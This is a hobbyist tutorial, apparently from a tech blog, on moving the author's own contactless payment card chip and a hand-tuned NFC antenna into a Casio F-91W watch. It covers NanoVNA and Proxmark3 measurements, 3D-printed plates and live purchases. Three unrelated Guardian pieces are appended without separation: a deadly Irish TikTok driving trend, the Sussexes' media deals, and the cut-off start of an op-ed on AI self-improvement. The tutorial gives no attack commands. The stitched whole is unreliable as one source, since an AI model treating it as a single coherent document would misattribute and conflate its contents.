Formula for the wavelength calculation of an antenna Formula for the wavelength calculation of an antenna

Therefore, an ideal antenna should consist of a 22.12 metre long wire, but by convention fractions of λ-lambda (λ/2, λ/4, λ/8, λ/16, etc.) are opportunely chosen. Another important factor is the electrical impedance of the wire, which depends mainly on the material it is made of, its resistivity as well as the cross-section of the wire itself.

Payment cards are passive devices that do not require their own power source. Instead, they are powered by electromagnetic induction when they come into proximity with an active NFC device, such as a smartphone or a contactless payment terminal . The active NFC device generates a magnetic field , which induces a current in the NFC s target device antenna . This induced current provides enough power to activate it by allowing it to operate and communicate with the active device.

A variety of microchip + antenna designs of contactless payment cards A variety of microchip + antenna designs of contactless payment cards

Most old technology smart cards had the antenna embedded in a plastic (or resin) enclosure, soldered to the chip , which was consequently powered directly from the induced current .

Card and chip module with separate, inductively coupled antennas Card and chip module with separate, inductively coupled antennas

New payment cards technology consists in a dual interface that doesn’t need any wired contacts between the microchip and the antenna modules. The antenna in the card body has a few additional turns around the area where the chip module is embedded. This card body antenna inductively couples into a tiny loop antenna that is directly integrated into the microchip module. This simplifies the card production process as the antenna does not need to be attached (e.g. glued, welded or soldered) to the chip module.

Curious to see what the shape antenna looks like (realistically speaking) inside the plastic envelop of the card?

Variable capacitor antenna embedded in a Coil on Module (CoM) contactless payment card Variable capacitor antenna embedded in a Coil on Module (CoM) contactless payment card

The “squares” connected in line act like variable capacitors. This, together with the windings grafted on multiple levels allow the module to couple at different frequencies.

Overall, the components work together to enable secure and convenient contactless transactions. The antenna allows for wireless communication, while the microchip manages data processing, security, and authentication, ensuring the privacy and integrity of the cardholder’s information.

TOOLS

To “see” through the complex and invisible world of radio waves , I had to rely on some specific equipment .

Top: NanoVNA | Bottom-Left: Proxmark3 | Bottom-Right: RFID-RC522 Top: NanoVNA | Bottom-Left: Proxmark3 | Bottom-Right: RFID-RC522

  • NanoVNA : Nano Vector Network Analyzer is a portable and affordable handheld device used for measuring and analyzing the characteristics of radio frequency ( RF ) and microwave circuits. It is designed to provide precise measurements of complex impedance , reflection coefficient, transmission coefficient, and other parameters of RF components and networks.
  • Proxmark3 : is an open-source hardware and software platform designed for RFID (Radio Frequency Identification) research and development. It is a versatile tool widely used by security researchers , pentesters , and RFID enthusiasts to explore, analyze, and interact with various RFID technologies. It consists of a compact circuit board equipped with an integrated antenna and multiple radio frequency modules. It supports various RFID protocols, including low-frequency (LF) and high-frequency (HF) RFID standards such as 125kHz, 13.56MHz , and 900MHz. The device can both emulate RFID cards/tags and act as a reader/writer , allowing users to clone , simulate , and manipulate RFID signals. It’s important to note that while the Proxmark3 is a valuable tool for security research and learning, it should be used responsibly and within the legal boundaries of the applicable jurisdictions .
  • RFID-RC522 : is a popular RFID module that is commonly used for communication with RFID tags or cards . It is based on the MFRC522 chip, which is a highly integrated reader/writer IC for contactless communication.

In this particular scenario, the RFID-RC522 chip was cannibalised in order to exploit the microstrip antenna on the PCB as a probe for the NanoVNA .

Zoom-in on the microstrip antenna probes Zoom-in on the microstrip antenna probes

I desoldered the C10 and C11 capacitors and I proceeded by soldering two female jumper wires connectors in their place.

Cannibalised RFID-RC522 circuit with a coaxial connector + cable Cannibalised RFID-RC522 circuit with a coaxial connector + cable

Then, I ripped off a coaxial connector cable supplied with the NanoVNA device. After separating the inner core wire (+) from the outer shield mesh (-) I soldered male jumper wire connectors respectively, in order to have a detachable interface (from the theory: the longer the jumpers wires , the higher the “noise” when reading RF values, so, keep it as short as possible).

By coupling this “frankenstein” antenna-probe with the NanoVNA through the S11 CH0 input, I could swim through radio waves .

SETUP

I started with the NanoVNA + RFID-RC522 combo.

NanoVNA device just switched-on NanoVNA device just switched-on

Once turned on, the NanoVNA displays a lot of information but mostly happens to be irrelevant for this purpose. It has a resistive touchscreen alongside a wheel-based joystick that can help in moving through its menus .

NanoVNA menu aiming for DISPLAY settings NanoVNA menu aiming for DISPLAY settings

The focus is all on the yellow trace so I disabled all the unnecessary traces by going to the DISPLAY sub-menu and by double-clicking on TRACE 1 (cyan), TRACE 2 (green) and TRACE 3 (magenta). It is possible to see them disappear from the screen.

NanoVNA DISPLAY -> TRACE sub-menu NanoVNA DISPLAY -> TRACE sub-menu

I then clicked on BACK → SCALE → SCALE/DIV and I set “4” (it gives a good proportion).

NanoVNA DISPLAY -> SCALE -> SCALE/DIV sub-menu NanoVNA DISPLAY -> SCALE -> SCALE/DIV sub-menu

I confirmed by clicking on the ENT button.

NanoVNA menu aiming for STIMULUS settings NanoVNA menu aiming for STIMULUS settings

I then went back to the main menu and clicked on STIMULUS .

NanoVNA STIMULUS sub-menu NanoVNA STIMULUS sub-menu

By clicking on START I set up 12.5 MHz .

NanoVNA STIMULUS -> START sub-menu NanoVNA STIMULUS -> START sub-menu

By clicking on STOP I then set up 16 MHz .

NanoVNA STIMULUS -> START sub-menu NanoVNA STIMULUS -> START sub-menu

In this way it is possible to filter all the signals by allowing the device to display only the ones in the 12.5 to 16 MHz band.

To see if the setting was good, I placed on the antenna surface a spare NFC tag.

Testing a standard NFC tag Testing a standard NFC tag

Simple rule: the deeper the lower wedge, the higher the “resonance”.

In other terms, it means that the NFC tag used for the test is well coupled with the antenna (it is absolutely normal to see varying ranges around the frequency of 13.56MHz depending on the tags/cards approached).

Proxmark3 device Proxmark3 device

Moving to the Proxmark3 device, it needs a computer to work. Inside the original GitHub repository I could find all the installation instructions (very exhaustive and well explained). I am running on macOS so I used the brew-based tutorial for quickness.

Before the very first run it is recommended to upgrade the device firmware with the latest version available. In order to do so, the procedure requires to press the “half-hidden” button and plug the Micro-USB cable while keeping it pressed. In this way the device boots in DFU-mode .

Proxmark3 “BUTTON” for the DFU Proxmark3 “BUTTON” for the DFU

Once in DFU-mode , just run the following command:

pm3-flash-all

Proxmark3 in DFU-mode receives a firmware upgrade Proxmark3 in DFU-mode receives a firmware upgrade

and it should perform everything “automagically”.

Once done, disconnecting and reconnecting the Micro-USB cable to the Proxmark3 allows it to be detected in the serial port list. By running the following command:

> pm3

it is now possible to enter in the magical world of the NFC hacking/auditing.

Proxmark3 Tools interactive shell Proxmark3 Tools interactive shell

The Proxmark3 Tools has an interactive shell (I’ll suggest you to study all the information in the documentation, as this machinery allows to do some — even illegal — very interesting and complex things).

To test it I put the same NFC tag used for the NanoVNA on top of the high-frequency antenna surface.

Proxmark3 approached with a NFC tag Proxmark3 approached with a NFC tag

By running the following command in the interactive shell:

> pm3 → hf search

Proxmark3 reading the NFC tag Proxmark3 reading the NFC tag

it was possible to read the information related to the NFC .

NOTE: although both the NanoVNA and the Proxmark3 devices are well “insulated” electrically, they may suffer from some noise if placed on conductive surfaces such as metal or similar. I placed them on a rubbery mouse pad to make them work solidly. Keep this in mind if you’re facing some “strange” behaviour in the readings.

Contactless payment card approached to Proxmark3 Contactless payment card approached to Proxmark3

Let’s move to the payment card reading by recalling the last command:

> pm3 → hf search

Proxmark3 reading the contactless payment card Proxmark3 reading the contactless payment card

As can be observed, the output is much more verbose than the previous one, as the card contains a “smart chip” for more complex and secure operations. This output comes handy for later comparison.

All good. All the equipment are fully working, the setup is complete and we can now move to the most interesting part.

DISASSEMBLY

In order to discover the type of my payment card , I had to rip it apart.

Heat gun banging the payment card chip front Heat gun banging the payment card chip front

With the help of a soldering station’s hot air nozzle (set to 100 °C) I started heating the surface around the card chip by drawing circles near and far, back and forth.

Heat gun banging the payment card chip back Heat gun banging the payment card chip back

The real trick here to avoid doing irreversible damages is not to stay on the same spot for too long (preventing everything from melting down ).

Payment card chip front Payment card chip front

After around 45 sec ~ 1 min of heating , I gently started to fuzz around the chip with a pair of tweezers and with a bunch of swings I was able to detach it from the plastic housing.

Payment card chip back Payment card chip back

Although slightly covered by glue residue , it is possible to see the windings of the integrated antenna , so no soldering joints from the inner chip to the outer antenna .

It turns out that this type of payment card belongs to the new technology category, a combination of a chip with a small embedded antenna that resonates and couples with the bigger antenna hidden inside the card plate, as explained in a previous paragraph.

CASIO F-91W partially disassembled CASIO F-91W partially disassembled

Moving to the CASIO F-91W watch disassembly, I went all-in . I first removed the wristbands in order to work on without hindrance.

CASIO F-91W teardown CASIO F-91W teardown

Then with the help of a pair of tweezers and a small screwdriver I could tear it down to the bones (I had no intention of customising the internal circuits, so I left the central unit intact since in addition to contactless payments it would be convenient to always be able to consult the time 😂).

CASIO F-91W front plate and back plate CASIO F-91W front plate and back plate

By heating the front plate with the heat gun used previously (same temperature set to 100 °C , same hi-lo circular patterns at a distance), for approximately ~ 1.5 min I applied a good amount of force from the inside to the outside of the watch case and it naturally popped out without too much effort.

INSPECTION

After ascertaining the nature of the demolished card , I realized that I was dealing with not one, but two antennas . I wanted to see clearly so I did recall my equipment.

NanoVNA RF inspection of the payment card housing alone NanoVNA RF inspection of the payment card housing alone

Taken separately, each one has its own operating frequency . The card housing alone resonates at ~ 15.28 MHz .

NanoVNA RF inspection of the payment card housing + chip NanoVNA RF inspection of the payment card housing + chip

When paired together, however, the result is a new frequency entirely different from the individual ones. The card housing + chip resonates at ~ 14.85 MHz.

In projection to the next steps, this experiment made me realise that in order to exploit an additive/subtractive synthesis approach for reproducing a matching antenna from scratch, other factors besides impedance must be taken into account, including the thickness and/or the magnetic permeability of materials.

TUNING

Dealing with antennas is no easy job . It requires a lot of theoretical and practical experience , acquired over many years of testing and frustrations, dissipated in some laboratory, maybe.

NFC antenna design, parameterisation and efficiency analysis NFC antenna design, parameterisation and efficiency analysis

Overall, antenna tuning is a very critical process of design aimed to optimize the performance of an antenna system. It involves mathematically adjusting the antenna ’s length, surface dimensions, impedance matching, SWR (Standing Wave Ratio) minimization to achieve the desired resonance , efficient power transfer and operating characteristics.

Ok, but…

We hackers , extremely lazy people, always look for the shortest path with the least effort to achieve the maximum results.

Acknowledged the above statement, my goal was to work around any specific digging into the electromagnetical boredom in order to provide the fastest way possible of iterating over the antenna design process. For this, I invented the so called “fishing tuning” (thanks Daniele G ., my true friend and supporter, for suggesting me this amazing name), a ghetto (but clever) way of blindly tuning a homebrew NFC antenna .

A preview of "fishing tuning" in action A preview of "fishing tuning" in action

Simply speaking, the process behind this involves basic concepts and materials. From the specs of the new tech of payment cards it was possible to understand that the chip needs to be coiled quite tightly , then, it should have some outer coils around in order to have enough resonance with the NFC reader.

The NFC reading procedure (from an active device) is spread over frequency intervals , not specific and fixed frequencies. The intrinsic variability of device coupling, given the boundary conditions, is relatively high, so any small inaccuracy is equally tolerated.

![Payment card chip size measurement (width)

](https://cdn.hackernoon.com/images/vSoRcyvb6dP2JiCy2a0lFEycpoa2-ow1k35vy.png)

Payment card chip size measurement (height) Payment card chip size measurement (height)

I took my precision calibre and I got the chip dimensions.

Fish tuning spool with payment card chip holder Fish tuning spool with payment card chip holder

With a widely used online 3D CAD tool I could design a simple spool with the chip holder (placed at the very center), leaving space for both the inner and the outer wire windings that I could extrude with the help of my 3D printer .

0.10mm enamelled copper wire for electromagnetic applications 0.10mm enamelled copper wire for electromagnetic applications

I used a 0.10mm enamelled copper wire (very cheap, priced a few bucks) and I started winding it around the innermost chip housing and then I continued generating coils on the outermost spool .

Fishing tuning spool Fishing tuning spool

In order to keep everything on track , I found tremendously useful a feature that comes with the Proxmark3 tool. By triggering the following command:

> pm3 → hf tune

is possible to watch in real-time the voltage drop in mV (millivolt) of any NFC -compatible tag that approaches the high-frequency antenna surface.

Proxmark3 high-frequency antenna voltage drop measuring Proxmark3 high-frequency antenna voltage drop measuring

Simple rule: the higher the voltage drop , the greater the antenna resonance (and thus the coupling is more efficient ).

(Fishing tuning technique demonstration)

As you can see in the demonstration video above, the left hand is keeping the spool in line with the Proxmark3 antenna surface (photo below).

Fishing tuning point of view Fishing tuning point of view

The right hand is slowing pulling the wire off the spool while keeping an eye on the pm3 → hf tune continuous readings. I continued while reaching the highest voltage drop (~ 11mV the maximum reached) at 3mV / 14mV .

Then, I cut the exceeding wire from the spool , keeping a little extra for later, in case of error and/or for a more finer-grained frequency trimming . Now, we have an arbitrary-length antenna wire (mine was around 1.6 meters long) of a 0.10mm electromagnetic wire that can be coiled again in a cutest enclosure.

DESIGN

Side to side, from the front plate to the back plate , the CASIO F-91W digital watch has several layers of components: the metal cover, the battery holder, the coin-cell battery, the PCB, the display, the plastic casing and the screen protector. The installation of an antenna on the back does not work (trust me, I did an infinite amount of trials and troubleshooting before coming to this conclusion). This is due to too many “shielding” components that interfere and do not allow a potential NFC antenna placed on the back to decently pair with any NFC reader.

CASIO F-91W custom front plate with payment card chip and NFC antenna holder — top view CASIO F-91W custom front plate with payment card chip and NFC antenna holder — top view

CASIO F-91W custom front plate with payment card chip and NFC antenna holder — perspective view CASIO F-91W custom front plate with payment card chip and NFC antenna holder — perspective view

To come at a decent antenna design (without disfiguring the original aesthetics of the watch), I replicated the original front plate in the 3D CAD software, where I cut out the area to hold the chip and carved a cavity around the whole perimeter in to wind the antenna wire.

Custom CASIO F-91W digital watch front plate that allows contactless payment — inside view Custom CASIO F-91W digital watch front plate that allows contactless payment — inside view

Custom CASIO F-91W digital watch front plate that allows contactless payment — outside view Custom CASIO F-91W digital watch front plate that allows contactless payment — outside view

As for the back plate , I decided to replace the original metal one with a PLA - based 3D-printed one.

CASIO F-91W custom back plate CASIO F-91W custom back plate

This allowed me to give the ensure the entire structure the reduction in electromagnetic noise generated by the presence of the metal plate, while preserving a purely aesthetic uniformity.

Custom CASIO F-91W digital watch back plate — outside view Custom CASIO F-91W digital watch back plate — outside view

Custom CASIO F-91W digital watch back plate — inside view Custom CASIO F-91W digital watch back plate — inside view

TESTING

In order to understand the right amount of wire needed, I frequently tested the resonance peak through the NanoVNA + RFID-RC522 device combo, while un-winding and cutting the wire, one small chunk at a time.

CASIO F-91W antenna’s resonance peak spotted via NanoVNA + RFID-RC522 CASIO F-91W antenna’s resonance peak spotted via NanoVNA + RFID-RC522

In addition, I used the Proxmark3 device to check wether the contactless payment card shrunk in its new shape could still be well read.

Proxmark3 reading the modded CASIO F-91W front plate through the NFC interface Proxmark3 reading the modded CASIO F-91W front plate through the NFC interface

FINISHING

The hole left by the 3D print (for the watch display) in the front plate was filled with ultra clear epoxy resin to achieve the glass finish.

Ultra-Violet lamp fixing UV-Resin for the LCD window in the front plate Ultra-Violet lamp fixing UV-Resin for the LCD window in the front plate

The exposure to a sufficiently powerful ( 48W ) UV lamp for about 1~2 mins per side contribute to the polymerisation (hardening) of the UV resin .

ASSEMBLY

It is time to put all the pieces together.

CASIO F-91W in the re-assembly phase CASIO F-91W in the re-assembly phase

With a pair of scissors, tweezers and a bunch of double-sided repair tape for electronics, I managed to reconstruct the adhesion surface of the front plate .

Front view of the custom CASIO F-91W digital watch Front view of the custom CASIO F-91W digital watch

To finish, I re-assembled the remaining components closing everything with the back plate and the original screws.

360° view of the custom CASIO F-91W digital watch 360° view of the custom CASIO F-91W digital watch

I could not miss a cool strap to complete the visual appearance and fit.

Wearing my hacked CASIO F-91W with fully functional NFC contactless payment card embedded Wearing my hacked CASIO F-91W with fully functional NFC contactless payment card embedded

DEMONSTRATIONS

I bought some stuff in different stores/vending-machines in order to prove live that the contactless payment system embedded in the CASIO F-91W works flawlessly.

A few videos are worth more than many words.

They are all good at paying with their smartwatches , but with a vintage CASIO ?

The pure delight that repays all efforts is seeing people’s shocked faces → 😯 when happen that they realise what I paid with at the checkout 🤣.

DEVELOPMENTS

There are a couple of thoughts flashing through my mind:

  • The first relates to security issues: exploring the possibility of having an interrupted antenna and a way of short-circuit it with one of the watch buttons, thus preventing mobile pickpocketing attempts on the fly.
  • The second — as an evolution of the previous one — will consider adding an extra chip and a second coil that can be switched with the push of a watch button, by playing with open/close circuits.

EXTRAS

Just some more fun stuff.

Receipt of the very first contactless transaction done with the hacked CASIO F-91W digital watch Receipt of the very first contactless transaction done with the hacked CASIO F-91W digital watch

Night view of the CASIO F-91W digital watch — kryptonite-green led backlight Night view of the CASIO F-91W digital watch — kryptonite-green led backlight

Plus, I created a GitHub repository where I hosted a bunch of docs I found useful and the *.STL files for the front and the back plates you can download and 3D-print by yourself → here .

CONCLUSIONS

This journey into the realm of NFC technology, contactless payments and radio waves has been thrilling. As a hacker , I feel super lucky to be living in an era where the rapid evolution of tools, software, and digital ecosystems has opened-up new domains of possibilities allowing us to see through things and challenging us to embrace the ever-changing landscape of technology. Being a tech NERD goes beyond a mere passion for electronics or coding ; it encompasses a mindset driven by curiosity , problem-solving , and the insatiable desire to learn . It is a lifelong dive into discovery , where each new breakthrough serves as a stepping stone to even greater advancements. It’s about being at the forefront of innovation, pushing boundaries, and contributing to a future driven by imagination and technological prowess.

However, amidst all the excitement and marvels of technology, I must also remember the importance of ethical considerations, privacy , and responsible usage. With great power comes great responsibility.

Let’s continue to explore , tinker , and share our knowledge with the world.

GREETINGS

A special thanks for special friends:

  • Daniele G. for always enriching my crazy ideas with priceless advice ✨;
  • Marco L. for the fun, the support and for being the cameraman 📹;
  • Lorenzo F. for all the valuable brainstorming sessions 🧠;
  • Pierluigi C. P. for genuinely believing in my capabilities 🧙🏻‍♂️.

Guys, this was EPIC 🤙.

DISCLAIMER

Any information provided in this article is for educational purposes only. I am not responsible for any illegal actions taken by individuals or entities based on the information acquired from this tutorial. The content is intended to provide general guidance and it is your responsibility to ensure that you comply with all applicable laws, regulations, and ethical standards when applying the information provided. Any actions you take based on the tutorial are done at your own risk and discretion. I disclaim all liability for any damages, losses, or legal consequences resulting from the use or misuse of the information presented in the tutorial. I strongly encourage you to seek professional advice or consult with relevant authorities to ensure compliance with the law. By accessing and using this tutorial, you agree to release me from any liability for any illegal actions or their consequences that may occur downstream as a result of applying the information provided. Please use the information responsibly and exercise caution when applying it in practical situations.

Also published here .

‘They’re thinking about the likes’: deadly TikTok motorway trend horrifies Ireland

Guardian
www.theguardian.com
2026-08-22 01:00:56
Social media platforms face public ire after fatal crash involving teenagers filming themselves driving on wrong side Videos often begin with the camera panning across a glowing dashboard as a gloved hand starts the ignition. The camera turns to show figures with masked faces in the rear seat, who a...
Original Article

V ideos often begin with the camera panning across a glowing dashboard as a gloved hand starts the ignition. The camera turns to show figures with masked faces in the rear seat, who are also filming, and swivels back to show the windscreen. Beyond it, a dark cityscape.

The engine throbs, headlights puncture the night and the journey begins, first down a suburban road, then a motorway. The speedometer shows acceleration, the needle juddering as the car gathers velocity.

The destination is irrelevant, for this is a show – an exhibition of audacity, lawlessness and recklessness that draws viewers to TikTok and other social media platforms with the possibility of chases by police and dramatic crashes.

Such videos are part of a macabre trend that has astonished and outraged Ireland in the wake of a collision last week that killed five teenagers – who were driving the wrong way down a motorway – and critically injured a family of four, prompting debate about policing, criminal justice, social services and social media regulation.

You have to ask: how do five young men gravitate to each other and decide this is a good idea? Where have we gone wrong as a society?” said Graham Kavanagh, a former officer with the police force An Garda Síochána, who used to pursue car thieves. “No one is born bad, but sometimes you might encounter a fella as young as six or seven and you know trouble is waiting for them.”

In the early hours of 16 August, a group of young males broke into homes and cars in County Kildare, south-west of Dublin. Police believe these were the masked occupants of a BMW who then appeared to try to bait patrol cars into a pursuit.

At approximately 3am, the BMW was driving the wrong way down the M9 when it crashed into a Hyundai, injuring three sisters, Ella Hendricken, Niamh Kinsella and Alma Kinsella, in their 30s and 20s, and Alma’s seven-year-old son. They had been on their way to Dublin airport for a family wedding in the UK.

Police attending the scene of the crash with the wreckage of one of the cars still on the motorway
‘Where have we gone wrong as a society?’: The incident took place at 3am. Photograph: Niall Carson/PA

The boys who died – Joe Carthy, 15, Kamil Pustkowski, Jack Kennedy, Alex McCarthy, all 17, and Jeremy O’Brien, 18 – were known to police. Three were also known to the child welfare agency Tusla. Several had previously posted videos of reckless driving, previously known as joyriding.

Seeking excitement and admiration from peers through such behaviour was not new, but social media had escalated and amplified the phenomenon, said Mary Aiken, a professor of forensic cyberpsychology at the University of East London.

“I would describe it as hybrid behaviour. While driving the car, they’re simultaneously filming and capturing content for posting later or live streaming. They have one foot in the real world and one foot in cyberspace.” Cyberspace was psychologically immersive and could amplify a predisposition to taking risks and ignoring consequences, said Aiken. “They’re thinking about the likes, they’re thinking about kudos.”

The tragedy had provoked polarised responses.

An outpouring of solidarity for the injured family fuelled a fundraising appeal that has raised more than €660,000 (£565,000). A vigil was planned in County Carlow on Friday evening.

Much online commentary about the five boys, in contrast, has been abusive, prompting relatives to withdraw funeral notices. The first funeral, for McCarthy, was held on Friday in Athy. Family members wore T-shirts with his photograph and a horse-drawn carriage transported the casket. Police monitored from a distance.

skip past newsletter promotion
People carry a light blue coffin while wearing white T-shirts with Alex McCarthy’s name on them
The funeral cortege for Alex McCarthy, one of the five teenagers who died in a motorway crash last weekend. Photograph: Brian Lawless/PA

Denis Nulty, the bishop of Kildare and Leighlin, said he shared the public’s revulsion and anger, but urged people to show compassion. “We have to be awful careful on language. Words can wound, but words can also heal,” he told RTE . “Let’s not try to pillory. Let’s try to see how can we get better behaviour by all of us.”

Fresh clips of other instances of reckless driving have reportedly been uploaded to TikTok in the past week, galvanising criticism of the platform and calls for greater regulation and enforcement.

On Thursday, the company rejected an invitation to address a parliamentary committee on media, citing the ongoing police investigation into the crash and a separate investigation by the media regulator, Coimisiún na Meán, as well as the fact that no other platform had been asked to attend. Alan Kelly, who chairs the committee, called the rebuff a “slap in the face” to the Irish public.

Other politicians have demanded tougher penalties for dangerous driving, such as classifying driving on the wrong side of a motorway as attempted murder.

There is frustration that gardaí have not been trained in vehicle pursuit and that officers can be deemed personally liable if anything goes wrong during a pursuit. Earlier this year, British driver training experts from the Devon and Cornwall police began tutoring Garda instructors .

Kavanagh, who recently retired from the force and is now developing a community safety toolkit for the voluntary organisation Muintir na Tíre, said driving recklessly for thrills was a decades-old problem. I knew fellas who were addicted to it, stealing, driving fast, that was the buzz, and if chased by police that was icing on the cake.”

Police could try to intercept such drivers but all of society – parents, teachers, social workers and others – must intervene years earlier to stop troubled youths travelling the wrong way in life, said Kavanagh.

Is this the end of Harry and Meghan’s American dream?

Guardian
www.theguardian.com
2026-08-22 01:00:55
The Sussexes are returning to the UK with significantly reduced media deals in an industry where fame alone can no longer guarantee success Having settled in California in the aftermath of their dramatic decoupling from the royal family in 2020, the Duke and Duchess of Sussex announced a partnership...
Original Article

Having settled in California in the aftermath of their dramatic decoupling from the royal family in 2020, the Duke and Duchess of Sussex announced a partnership that appeared to set a clear destination for their new lives outside the House of Windsor.

With every global media stable clamouring for their signature, the couple revealed a deal with Netflix reportedly worth $100m . The ambitions were lofty and broad, including scripted and unscripted projects, shows for all ages and documentaries.

A $20m podcast deal with Spotify appeared to confirm their ambitions; the Sussexes were reinventing themselves in the competitive world of content creation, a media powerhouse in the booming universe of streaming and podcasting.

As the couple now prepare to return to the UK, they do so with those mega-deals either pared back or expired, and their media plans less clear. It raises the question: is this the end of their American dream?

As with all things Harry and Meghan-related, their various media forays have spawned copious amounts of reactionary content and commentary. Each appearance, commission and production has been dissected: there have been blockbuster hits, much-publicised misses and some brutal reviews along the way.

Prince Harry and Meghan, Duchess of Sussex, being interviewed on a patio by Oprah Winfrey
Prince Harry and Meghan, Duchess of Sussex, being interviewed by Oprah Winfrey in 2021. Photograph: Reuters

For Harry, the pull of returning to the UK, if perhaps not permanently, has been clear for a while.

He says he loves his country, and in an interview with the Guardian last year, he admitted he hankered for home.

“I have always loved the UK and I always will love the UK. It’s been good to reconnect with the causes I am passionate about. I have been able to spend some time with people that I have known for so long. It is hard to do it from far away.”

Perhaps more so recently because his father, King Charles, has been ill. And on the work front, it hasn’t been easy either.

Six years in the content game offers a case study in how difficult it can be to negotiate the shifting sands of a transformed media landscape, so difficult that even a Hollywood actor and a British prince are not guaranteed to succeed.

Those years have proved there is one bankable aspect of the Sussex brand: their relationship with the royal family continues to be devoured on an industrial scale. However, launching lifestyle brands and philanthropic pursuits that rely purely on name recognition – even with a packed contacts book of A-list friends to help – cannot guarantee reliable success in the cut-throat era of the attention economy.

“The Sussexes have kind of got caught up in the media’s awkward teenage transition,” said Evan Shapiro, a former US media executive turned leading analyst of the creator economy. “Just being famous is no longer enough … The last time Meghan Markle worked in show business [starring in the US legal drama Suits], it was a different era. It was top down: ‘We push it out, you watch it.’ That’s just how it worked.

“That era has passed. It’s fucking hard [now] … the competition is literally every human on earth. Eight billion people with phones who are all competing with Meghan Markle.”

The Sussexes could scarcely have had better timing for their eye-catching 2020 Netflix deal, via their Archewell Productions organisation – global streamers were scrambling for big names to lure subscribers.

The pair were in demand, talking with the likes of Disney and Apple before the Netflix deal was signed. Spotify was also pursuing big-name deals when it secured the Sussexes.

While the Netflix announcement talked of a raft of potential projects, the greatest prize was always the story of the Sussexes’ relationship with the royal family. The subsequent 2022 documentary series, Harry & Meghan, duly delivered , setting record viewing figures for a documentary debut and ranking as one of its most successful docuseries ever.

‘They were lying to protect my brother,’ says Harry in latest Netflix trailer – video

Other Netflix projects featuring the couple followed, including the Live to Lead interview series, Harry’s Polo documentary and two series of the cooking and lifestyle show With Love, Meghan.

Unsurprisingly, content without the royal intrigue could not hit the heights of Harry & Meghan. Polo failed to make Netflix’s top 10 lists around the world, while ratings for the second series of With Love, Meghan dropped off. It was the 1,217th most watched title on Netflix over the second half of last year. A mooted animated children’s series, Pearl, was cancelled.

Netflix also ended its partnership with Meghan’s lifestyle brand, As Ever, after seven months. The company said handing full control to Meghan was always the plan. However, the relationship endures. Netflix renewed its partnership with the Sussexes, but slimmed it down to a “first look” deal.

As for podcasting, the Spotify deal was ended by mutual consent in 2023 , having only produced Meghan’s 12-episode podcast Archetypes, featuring interviews with people such as the former tennis champion Serena Williams and pop star Mariah Carey.

Meghan stirs a drink in a cocktail glass on a kitchen island while talking to Mindy Kaling
Meghan with the actor Mindy Kaling in a scene from With Love, Meghan. Photograph: AP

Meghan subsequently launched another podcast series, Confessions of a Female Founder, in 2025, with Lemonada Media. Only nine episodes were made. She revealed last year that there would be no second series, saying she was focusing on As Ever.

In line with all of Harry and Meghan’s exploits, there have been some acerbic assessments of their media production efforts. Most notably, the Spotify executive Bill Simmons called them “fucking grifters” after the company’s deal with the couple ended.

Less incendiary industry analysts point to the significant timing. The Sussexes’ narrowed Netflix deal and split with Spotify coincided with content providers cutting back on their big celebrity bets, and the chaos being wrought by the rapid rise of the creator economy.

“This isn’t a story about nobody being interested in [the Sussexes],” said Matt Navarra, a social media consultant who has worked with broadcasters. “It’s quite the opposite. They can generate attention almost on demand. The harder thing is converting attention into a repeatable media proposition.

“Harry and Meghan arrived in Hollywood with almost every advantage imaginable, but audiences now effectively have infinite choice. They don’t care about how expensive the deal was, or how famous the person is.

“I think that’s one of the brutal lessons of the new media world: that fame can buy you the first click, but only the content earns the second … Their original Harry & Meghan series was pretty much a blockbuster. What they’ve struggled with is repeatability.”

Several industry insiders noted the comparisons with the Obamas, whose Higher Ground production company’s multi-year deal with Netflix narrowed to a “first look” deal in 2024. Their Spotify deal also ended in 2022.

Shapiro said the Sussexes had not yet proved they could draw big audiences beyond content directly related to their dealings with the royal family. “By no fault of their own, the Sussexes were not prepared for the current moment,” he said. “It turns out, other than marrying a prince, Meghan Markle just isn’t that special. Other than being born into royalty, Harry’s just not that interesting.”

Navarra said: “Enormous curiosity exists around them, but curiosity about a person isn’t necessarily the same as demand for everything that person produces. Celebrity is a distribution advantage, but it isn’t a content strategy.

“Harry and Meghan show that you can inherit enormous attention and still have to earn the audience every single time. To me, that is the really interesting shift.”

Meghan, as Rachel Zane, with Patrick J Adams, as Michael Ross, sitting on a sofa in a living room
Meghan, as Rachel Zane, with Patrick J Adams, as Michael Ross, in a scene from Suits. Photograph: USA Network/NBCU Photo Bank/Getty Images

It is perhaps understandable, then, that Meghan is reportedly returning to a bankable acting career that she put on ice after her marriage to Harry. Initial reports from Australia of a UK-based role for Meghan were backed up by Tina Brown, the former Vanity Fair editor and founding editor of the Daily Beast.

Brown said it had been fuelled by Meghan’s positive experience as a celebrity judge on MasterChef Australia last month. “She finally realised how much easier – and more fun – it is to perform in a hit baked by someone else,” Brown wrote .

“She was back on the market, and it did not take long for Hollywood’s mega-deal machine, WME, the talent agency that still represents her, to get her a role.”

Sources close to the Sussexes have not denied the reports.

On Friday night it was reported that Meghan was in talks to return to acting in Netflix’s series The Gentlemen. According to Variety, she was in discussions to join the third season of the Guy Ritchie-created series.

However, the couple are not out of the media production game. Archewell has evolved into a more traditional production company. Its forthcoming Netflix projects include a polo drama and a film adaptation of the romantic novel Meet Me at the Lake. Several sources familiar with the company said there were also projects in the works beyond Netflix.

In practical terms, the move back to the UK creates few issues for their media ambitions. It is not unusual for major production companies to sit outside Hollywood and make shows away from the US, and the UK remains a major production hub.

As for Harry, he – or anyone else – will struggle to replicate the runaway media success of his memoir, Spare . He is focusing on his Invictus Games coming to Birmingham next year. Meanwhile, Meghan has suggested any return as a business podcaster may depend on the progress of her lifestyle brand.

“I would love to bring the show back when I am at a different end of my founder journey,” she said last summer, explaining why she had put her Confessions of a Female Founder podcast on hold. “I think a different time will be so exciting to compare and contrast.”

Would even an AI disaster on the scale of Hiroshima be enough to make humankind protect itself? I fear not | Timothy Garton Ash

Guardian
www.theguardian.com
2026-08-22 01:00:54
It’s clear here in Silicon Valley that AI is advancing faster than humans’ ability to control it. That means even sober prophecies seem optimistic Here in Silicon Valley, the experts think that within the next couple of years we’ll see an extraordinary takeoff for artificial intelligence. “Welcome t...
Original Article

H ere in Silicon Valley, the experts think that within the next couple of years we’ll see an extraordinary takeoff for artificial intelligence. “Welcome to the foothills of the singularity,” as a Stanford University friend greeted me. More prosaically, the imminent breakthrough is described as “recursive self-improvement” – the point at which AI itself trains each successive model of AI, resulting in an exponential development to something which, in many significant respects, is more intelligent than us humans.

